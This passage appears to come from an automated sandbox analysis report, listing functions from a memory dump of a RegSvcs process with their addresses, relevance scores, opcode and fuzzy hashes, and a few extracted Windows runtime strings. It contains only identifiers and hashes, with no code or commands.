                                                          • Opcode Fuzzy Hash: 83284639c6b4240da63c4c81baf339d939f36a1e0041f016d721dc5a1330deef
                                                          • Instruction Fuzzy Hash: C141AD30A04649DBEB16CF59C864B6E7BB5FF95700F2440AAE900DF3A1EBB5D941CB50
                                                          Function 0150A5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID: Cleanup Group$Threadpool!
                                                          • API String ID: 2994545307-4008356553
                                                          • Opcode ID: 2ea9990bdabf8540ea8d1d4c721bb5c033f34e57eaee5d83bf55d474439da1f5
                                                          • Instruction ID: 8535d0041c2fc9ab0e95cebd6eef38870f1cc117d4531617ae1e54816d43ac55
                                                          • Opcode Fuzzy Hash: 2ea9990bdabf8540ea8d1d4c721bb5c033f34e57eaee5d83bf55d474439da1f5
                                                          • Instruction Fuzzy Hash: DF01D1B2644700AFE312DF64CE45B2677F8F795715F018939A659CF190E334D904CB46
                                                          Function 014DC7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: MUI
                                                          • API String ID: 0-1339004836
                                                          • Opcode ID: 8568c325d11fe8473a53b0450ab659a2783d305034991186c80f6fc624e9de59
                                                          • Instruction ID: 23eba231ca750dfc35b0f65191d1eb5822f1568260c4502927dfd15e54f44d5a
                                                          • Opcode Fuzzy Hash: 8568c325d11fe8473a53b0450ab659a2783d305034991186c80f6fc624e9de59
                                                          • Instruction Fuzzy Hash: 7D826F75E002199FDF25CFA9C8A0BEEBBB1BF49310F14816ED959AB3A1D7309941CB50
                                                          Function 01556420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID: 0-3916222277
                                                          • Opcode ID: 3e7d511de10a51ade2da01b028a0afcf3bbceacf6707429e216f5bcfdfade636
                                                          • Instruction ID: 18ad708e5cce694a66d16bf8f6c68bb1e8d1f3539e1b7d7b8c95b3d5aa76d3b6
                                                          • Opcode Fuzzy Hash: 3e7d511de10a51ade2da01b028a0afcf3bbceacf6707429e216f5bcfdfade636
                                                          • Instruction Fuzzy Hash: B8916372940259AFEB21DF95CC95FAE7BB8FF14750F50405AF700AF2A0D675A900CBA0
                                                          Function 0157E10E Relevance: 1.5, Strings: 1, Instructions: 255COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID: 0-3916222277
                                                          • Opcode ID: bea10998b624e9812b21bbc6fd4ae4fbf696c75ef8c441f1a32720ec9acd424c
                                                          • Instruction ID: 531569b949c7962508a47420dc17d5138cae141484620f91c17cd4bd22d776bd
                                                          • Opcode Fuzzy Hash: bea10998b624e9812b21bbc6fd4ae4fbf696c75ef8c441f1a32720ec9acd424c
                                                          • Instruction Fuzzy Hash: 28918371900606BFDB22AFA5EC46FAFBBB9FF95750F100069F505AB260D774A901CB90
                                                          Function 0150A660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: GlobalTags
                                                          • API String ID: 0-1106856819
                                                          • Opcode ID: 35532bcd539c2c3edfbeae61ef40ce74b258497143fa9a222f8e5e3b1441e7f0
                                                          • Instruction ID: da9074c597d8bd657fc275251c89d691de73a55938021ba2b2cdaad8aa56ebe0
                                                          • Opcode Fuzzy Hash: 35532bcd539c2c3edfbeae61ef40ce74b258497143fa9a222f8e5e3b1441e7f0
                                                          • Instruction Fuzzy Hash: 80716CB5E0020A8FEF28CF99D5907ADBBF1BF99718F14852EE505AB241E7318941CB50
                                                          Function 01574978 Relevance: 1.4, Strings: 1, Instructions: 153COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: .mui
                                                          • API String ID: 0-1199573805
                                                          • Opcode ID: ba5189787ed8236ba72bc9f10e39b83f4f63771a3e9e0c835fcd67da0cf290ff
                                                          • Instruction ID: 8d95ab06f2e35f9e154d192f200c7e3bdddd0be42be658279505a90198465038
                                                          • Opcode Fuzzy Hash: ba5189787ed8236ba72bc9f10e39b83f4f63771a3e9e0c835fcd67da0cf290ff
                                                          • Instruction Fuzzy Hash: 76519472D0022A9BDF11EF99E841ABEBBB5BF14610F05416EE915BF250D7749C01CBE4
                                                          Function 014EE627 Relevance: 1.4, Strings: 1, Instructions: 148COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: EXT-
                                                          • API String ID: 0-1948896318
                                                          • Opcode ID: f3e224d3f127b25b788b8cd7a9be8d2701dce1ad72a660e6882fcd5ae3e53420
                                                          • Instruction ID: 221cf81d4bd85d157d9bac5f4ac41ced8ad1d715c702f71bdc192f5c775fc8db
                                                          • Opcode Fuzzy Hash: f3e224d3f127b25b788b8cd7a9be8d2701dce1ad72a660e6882fcd5ae3e53420
                                                          • Instruction Fuzzy Hash: C541E1725483129BD710DF79D848B6BBBE8AF98705F440A2FF684E7260E674D904C793
                                                          Function 0154C730 Relevance: 1.4, Strings: 1, Instructions: 129COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: BinaryHash
                                                          • API String ID: 0-2202222882
                                                          • Opcode ID: cc06fb4228ad3e5fc471e17ce037cc6d0c8232edaa870d4e0e9728770f045068
                                                          • Instruction ID: 1c6e79ff9dd041689425e242b91905ca35adefd48dbfe83ee015e3c2d79445c7
                                                          • Opcode Fuzzy Hash: cc06fb4228ad3e5fc471e17ce037cc6d0c8232edaa870d4e0e9728770f045068
                                                          • Instruction Fuzzy Hash: BB4136B1D0152EABEB21DA50CC84FDEB77CBB95718F0045A5EA08AF150DB709E498FA4
                                                          Function 01566B40 Relevance: 1.4, Strings: 1, Instructions: 106COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: #
                                                          • API String ID: 0-1885708031
                                                          • Opcode ID: 4c4d1f384e670a06dba503587aabaf4e4caf298e2ad92114805d3f8f2ed5b5e2
                                                          • Instruction ID: 84094412a900a4b85885ebc5ceab30ae64a4606df9f9ab8bf83eb0e99528c9e9
                                                          • Opcode Fuzzy Hash: 4c4d1f384e670a06dba503587aabaf4e4caf298e2ad92114805d3f8f2ed5b5e2
                                                          • Instruction Fuzzy Hash: 60310331A00B099EFB22CF69C854BAE7BACFF44704F144029E941AF296DB75E805CBD0
                                                          Function 0154CA72 Relevance: 1.3, Strings: 1, Instructions: 94COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: BinaryName
                                                          • API String ID: 0-215506332
                                                          • Opcode ID: 1ffeaa980bba5d69090506e8b2ef0be459978426ef9100d321dc94536d7ec79d
                                                          • Instruction ID: f68376c869e562cd8c69693e4e3858fb13bfff750148467851442010610d659c
                                                          • Opcode Fuzzy Hash: 1ffeaa980bba5d69090506e8b2ef0be459978426ef9100d321dc94536d7ec79d
                                                          • Instruction Fuzzy Hash: F831013690251AAFEB16DB59C845E6FBBB4FFC0768F114169A905AB250D7309E00EBE0
                                                          Function 0155892A Relevance: 1.3, Strings: 1, Instructions: 47COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 0155895E
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
                                                          • API String ID: 0-702105204
                                                          • Opcode ID: dcbe7510c7bc4eb0f4eb1d902480d7459d66cd85b37564eb2f94ffe063d68e68
                                                          • Instruction ID: ff22ba0ba3c5572655b2eecd81a9c9d99bf88a28a0fd569546972a9194527f3e
                                                          • Opcode Fuzzy Hash: dcbe7510c7bc4eb0f4eb1d902480d7459d66cd85b37564eb2f94ffe063d68e68
                                                          • Instruction Fuzzy Hash: 5F01F7313106119FE7615E978CA4A6A7BB6FFD5654B04041FFE411E561CB206845C792
                                                          Function 01572000 Relevance: .8, Instructions: 757COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a861bf69bcc76460699740cbdec69c4fb39386fe8e82909026a11a1782a42a1d
                                                          • Instruction ID: 467de483c9391289536c4ab6c69049ac3e7cd921748f0f3ca221dbcee2269d84
                                                          • Opcode Fuzzy Hash: a861bf69bcc76460699740cbdec69c4fb39386fe8e82909026a11a1782a42a1d
                                                          • Instruction Fuzzy Hash: 3142D3326083418FD725CF69D892A6FBBE5BF98300F08092EFA869F250D771D945CB52
                                                          Function 01568158 Relevance: .6, Instructions: 617COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: cec96aa00c4454b2482adb74d308ffd8d7ea13eed751d47b80b080f1f7e1d5e1
                                                          • Instruction ID: 59738fa14803961fb12bf29e9ca6806e25dac8cb4930fce458bfeb578bc7c807
                                                          • Opcode Fuzzy Hash: cec96aa00c4454b2482adb74d308ffd8d7ea13eed751d47b80b080f1f7e1d5e1
                                                          • Instruction Fuzzy Hash: C8426D75A003198FEB24CF69C881BADBBF9BF58300F14819AE949EB251D7349D85CF90
                                                          Function 014E2840 Relevance: .6, Instructions: 605COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d202f344a42fae90b054b31e7086fd6185feec2d3fa335731a9bb1d7b5a90880
                                                          • Instruction ID: 063942133deb59fd885b78a6bf5a2031495f8790486494cf83bdfa77ba5ee1ec
                                                          • Opcode Fuzzy Hash: d202f344a42fae90b054b31e7086fd6185feec2d3fa335731a9bb1d7b5a90880
                                                          • Instruction Fuzzy Hash: CF32CC70A00656AFEB25CF69C854BBEBBF2BFC4304F24451ED5869F284D775AA02CB50
                                                          Function 0157A118 Relevance: .6, Instructions: 591COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e52286efe5031850717379b6e448893e30c0ea031dad119256caaab5ab9aa78f
                                                          • Instruction ID: b533478baac9c0a64d3262a1eb754aac990deec2a36ade8a7f8e01cd28eb6c25
                                                          • Opcode Fuzzy Hash: e52286efe5031850717379b6e448893e30c0ea031dad119256caaab5ab9aa78f
                                                          • Instruction Fuzzy Hash: 8622BE706046618FEB25CF29E09677EBBF1BF44300F0C8859E9968F286E335E452CB61
                                                          Function 014D6A50 Relevance: .5, Instructions: 548COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5b31f0195e3b199879d8338ef50f25fca681905fc40b3eca35941d06e99e5f14
                                                          • Instruction ID: 58cb1fc394fbaf02957a92e64fa1f73889528d84cc404654aef22131797bfcde
                                                          • Opcode Fuzzy Hash: 5b31f0195e3b199879d8338ef50f25fca681905fc40b3eca35941d06e99e5f14
                                                          • Instruction Fuzzy Hash: 93327B71A00615CFDF25CF69C490AAEBBF1FF88310F15856AE956AB3A1D734E842CB50
                                                          Function 014F4A35 Relevance: .4, Instructions: 423COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
                                                          • Instruction ID: 7c988e75a13150684b94bda99f84247500eddbf9ef0928f466b3993cc5135a97
                                                          • Opcode Fuzzy Hash: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
                                                          • Instruction Fuzzy Hash: 66F15F71E0021A9BDB15CF99D580BAFBBF5BF44710F09812EEA05AB355EB74D842CB50
                                                          Function 0156892B Relevance: .4, Instructions: 386COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b7f562595d206910c0752be62c98b6ec7947fea2bd0fbef8c1d434a0aff5b8d4
                                                          • Instruction ID: 0a21f253bcac970496887c8a92eb685a2c91712c0910b3996668ac8b73a37ef7
                                                          • Opcode Fuzzy Hash: b7f562595d206910c0752be62c98b6ec7947fea2bd0fbef8c1d434a0aff5b8d4
                                                          • Instruction Fuzzy Hash: 12D1F171A0070A8BEF15CF69C841AFEB7F9BF88314F188169D955EB241E735E905CBA0
                                                          Function 014D65D0 Relevance: .4, Instructions: 383COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d13c5a5e1ee26c5ed157b2dec4313ba5f19af19af1e176ef4d2188d57d5cd2a4
                                                          • Instruction ID: c80fc268f67de4f02207e5acefad0d9a9f63f561f5dc22e0c0f990a0e053f092
                                                          • Opcode Fuzzy Hash: d13c5a5e1ee26c5ed157b2dec4313ba5f19af19af1e176ef4d2188d57d5cd2a4
                                                          • Instruction Fuzzy Hash: FFE17071508342CFCB15CF28C5A0A6BBBE1FF89314F06896EE9998B361D731E905CB91
                                                          Function 014C8397 Relevance: .4, Instructions: 380COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d3eeb723001b3537c76871d9c236734a2fd9cbab92e12c89f1f2c0a0ce33c0f9
                                                          • Instruction ID: c3dea5ace6f5a485e8717effd237f6191015059ad8af91e563f9afcae5aad5c7
                                                          • Opcode Fuzzy Hash: d3eeb723001b3537c76871d9c236734a2fd9cbab92e12c89f1f2c0a0ce33c0f9
                                                          • Instruction Fuzzy Hash: D8D1F476A002179BDB54CF69C890ABEB7A5BF65B04F04412EE916DF2A0F730E951CB60
                                                          Function 01558243 Relevance: .3, Instructions: 322COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                                          • Instruction ID: e18104f010f68315765f451746c3c4ec35e4e5fa98d79a7d518021de1a43ea45
                                                          • Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                                          • Instruction Fuzzy Hash: E1B18375A00605AFDB64DF9AC950EAFBFB9FF84344F10445EAE429B790DA34E906CB10
                                                          Function 014E0535 Relevance: .3, Instructions: 300COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                                                          • Instruction ID: 9610e7b580104c0be27ff4263609ca9515e4585821dddc48c415af558f0c8448
                                                          • Opcode Fuzzy Hash: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                                                          • Instruction Fuzzy Hash: 8FB127317006469FDB11DBA8C854BBEBBF6BF84300F28415AE5629B391D770ED41CB90
                                                          Function 014D83C0 Relevance: .3, Instructions: 281COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: dc6ed926fcd53b6c6a78cd486d4eca1c3dfc61ca7e04457690e96b50c91f91b3
                                                          • Instruction ID: 20005f5700a9fcf7360c58d5e6e76e489d6bc5730621c152f73bf901f78e7491
                                                          • Opcode Fuzzy Hash: dc6ed926fcd53b6c6a78cd486d4eca1c3dfc61ca7e04457690e96b50c91f91b3
                                                          • Instruction Fuzzy Hash: 28C14B741083418FD764CF19C494BABBBE5BF98304F44496EE9898B3A1D774E909CF62
                                                          Function 014CC427 Relevance: .3, Instructions: 280COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 45e6e715917011107d81e45f558f9d336acd85e0e2c6b095c117d26933495d11
                                                          • Instruction ID: cc45cdd810e0ca5944140b943a9388eed52cdb72c05bd1b3a214dbfce9bf95b0
                                                          • Opcode Fuzzy Hash: 45e6e715917011107d81e45f558f9d336acd85e0e2c6b095c117d26933495d11
                                                          • Instruction Fuzzy Hash: 29B18374A002668BDB65CF59C990BADB3B1FF54700F0485EED50EEB291EB349D86CB24
                                                          Function 014FE5E7 Relevance: .3, Instructions: 278COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: dc4fa4351d48be25682fe31b92aba2534b9f4ba980d48cbb358b4789f0a715ef
                                                          • Instruction ID: ca69ddcfb6e288654dab554e8ae78c8c6c2cefb0076f3056f623ccd9b397ce40
                                                          • Opcode Fuzzy Hash: dc4fa4351d48be25682fe31b92aba2534b9f4ba980d48cbb358b4789f0a715ef
                                                          • Instruction Fuzzy Hash: 32A1F871E046599FEB22DB98C844BAE7BA4BB40714F06012BEB10BF3A1D7749D41CB92
                                                          Function 01510185 Relevance: .3, Instructions: 276COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 87b45c050dbdc370b3862dae3c697e240fbdc03568a514406f29e2a6bfc8d715
                                                          • Instruction ID: 74cd5ecd82d8a67ac2ca45c94d59c19f94744995a30f52431ab67f5e78ae02ca
                                                          • Opcode Fuzzy Hash: 87b45c050dbdc370b3862dae3c697e240fbdc03568a514406f29e2a6bfc8d715
                                                          • Instruction Fuzzy Hash: 8AA1E170B006169FEB26CF69C491BAEB7F1FF58318F104029EA159F289DB74E851CB90
                                                          Function 015A4500 Relevance: .3, Instructions: 275COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 488224c68424952fcfbf6c13ae43b1b34eb8619ee2344523b59baf01f390de5e
                                                          • Instruction ID: 02795a3a907bc055f9e2d887fb2da248ff825ff35e86ab1b1c7fe943a59fcd79
                                                          • Opcode Fuzzy Hash: 488224c68424952fcfbf6c13ae43b1b34eb8619ee2344523b59baf01f390de5e
                                                          • Instruction Fuzzy Hash: 99A1CD72A40652DFC722DF58C980B2EBBE9FF58704F89092DE5859F661C3B0E901CB91
                                                          Function 015A2B57 Relevance: .3, Instructions: 266COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6ce3715ed4799cd0a993ea830d382c3077ea0590534c70b07cf682ff4d409637
                                                          • Instruction ID: 4c20b3d5e6128f3a5396394bd1fb8a5cb0c0ec10ca59fcceb075c7e654af273f
                                                          • Opcode Fuzzy Hash: 6ce3715ed4799cd0a993ea830d382c3077ea0590534c70b07cf682ff4d409637
                                                          • Instruction Fuzzy Hash: A2B14871E4061ADFDF29CFA9C881AADBBF5FF48310F54812AE914AB351D730A941CB90
                                                          Function 015560E0 Relevance: .3, Instructions: 264COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d52c989b48f1365fa106c5be82e1d6d6aa02dcb1d487aaf98d94161a77a64862
                                                          • Instruction ID: 1a768241530894e887b1337e697991599a4dcc08b126b71465f75128cd11fde6
                                                          • Opcode Fuzzy Hash: d52c989b48f1365fa106c5be82e1d6d6aa02dcb1d487aaf98d94161a77a64862
                                                          • Instruction Fuzzy Hash: 2191D371D00256AFDB51CFA9D8A0BBEBBB5BF48710F55405AEA00AF351D734E9008BA0
                                                          Function 014EE3F0 Relevance: .3, Instructions: 261COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 32c1458cae66cc231cc74dda2d69b63235d89cad01efc79151d143275c2f4f4a
                                                          • Instruction ID: 31fd42b21e8f851f48e7e0ec059f030097cdf4a03f8a6c55dd83f1b73240268d
                                                          • Opcode Fuzzy Hash: 32c1458cae66cc231cc74dda2d69b63235d89cad01efc79151d143275c2f4f4a
                                                          • Instruction Fuzzy Hash: 0C915572A00616CFEB24DB99C448B7EBBE1FF94716F05416AE905AF3A0E774D902C750
                                                          Function 01526ACC Relevance: .2, Instructions: 226COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 1db0299b6ee77cbd51d283202acb67b0d53315b9b525c746bc67d7af8bfb0bd6
                                                          • Instruction ID: 73ad745f8965df0ceea7c9b345ba2f945126fea3e3845b536b2237faa5547c65
                                                          • Opcode Fuzzy Hash: 1db0299b6ee77cbd51d283202acb67b0d53315b9b525c746bc67d7af8bfb0bd6
                                                          • Instruction Fuzzy Hash: 8281A872E0062A9FDB14CF69C540ABEBBF5FB49700F14452EE845EB680E334D940CB94
